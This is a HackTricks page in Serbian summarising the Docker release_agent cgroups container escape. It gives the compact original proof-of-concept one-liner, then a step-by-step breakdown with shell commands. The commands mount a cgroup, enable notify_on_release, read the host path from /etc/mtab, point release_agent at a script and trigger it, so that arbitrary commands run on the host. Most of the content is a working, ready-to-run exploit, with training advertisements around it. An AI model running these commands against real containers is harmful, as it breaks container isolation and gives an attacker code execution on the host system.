Docker release_agent cgroups escape
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Za više detalja, pogledajte originalni blog post. Ovo je samo sažetak:
Original PoC:
shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
Dokaz koncepta (PoC) demonstrira metodu za iskorišćavanje cgroups kreiranjem release_agent
datoteke i pokretanjem njenog poziva za izvršavanje proizvoljnih komandi na hostu kontejnera. Evo pregleda koraka koji su uključeni:
- Pripremite Okruženje:
- Direktorijum
/tmp/cgrp
se kreira da služi kao tačka montiranja za cgroup. - RDMA cgroup kontroler se montira na ovaj direktorijum. U slučaju odsustva RDMA kontrolera, predlaže se korišćenje
memory
cgroup kontrolera kao alternative.
shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
- Postavite Dete Cgroup:
- Dete cgroup pod imenom "x" se kreira unutar montirane cgroup direktorije.
- Obaveštenja su omogućena za "x" cgroup pisanjem 1 u njegov notify_on_release fajl.
shell
echo 1 > /tmp/cgrp/x/notify_on_release
- Konfigurišite Release Agent:
- Putanja kontejnera na hostu se dobija iz /etc/mtab datoteke.
- release_agent datoteka cgrupa se zatim konfiguriše da izvrši skriptu nazvanu /cmd smeštenu na dobijenoj putanji hosta.
shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- Kreirajte i Konfigurišite /cmd Skriptu:
- /cmd skripta se kreira unutar kontejnera i konfiguriše se da izvršava ps aux, preusmeravajući izlaz u datoteku pod imenom /output u kontejneru. Puni put do /output na hostu je specificiran.
shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
- Pokreni Napad:
- Proces se pokreće unutar "x" child cgroup i odmah se prekida.
- Ovo pokreće
release_agent
(skriptu /cmd), koja izvršava ps aux na hostu i zapisuje izlaz u /output unutar kontejnera.
shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.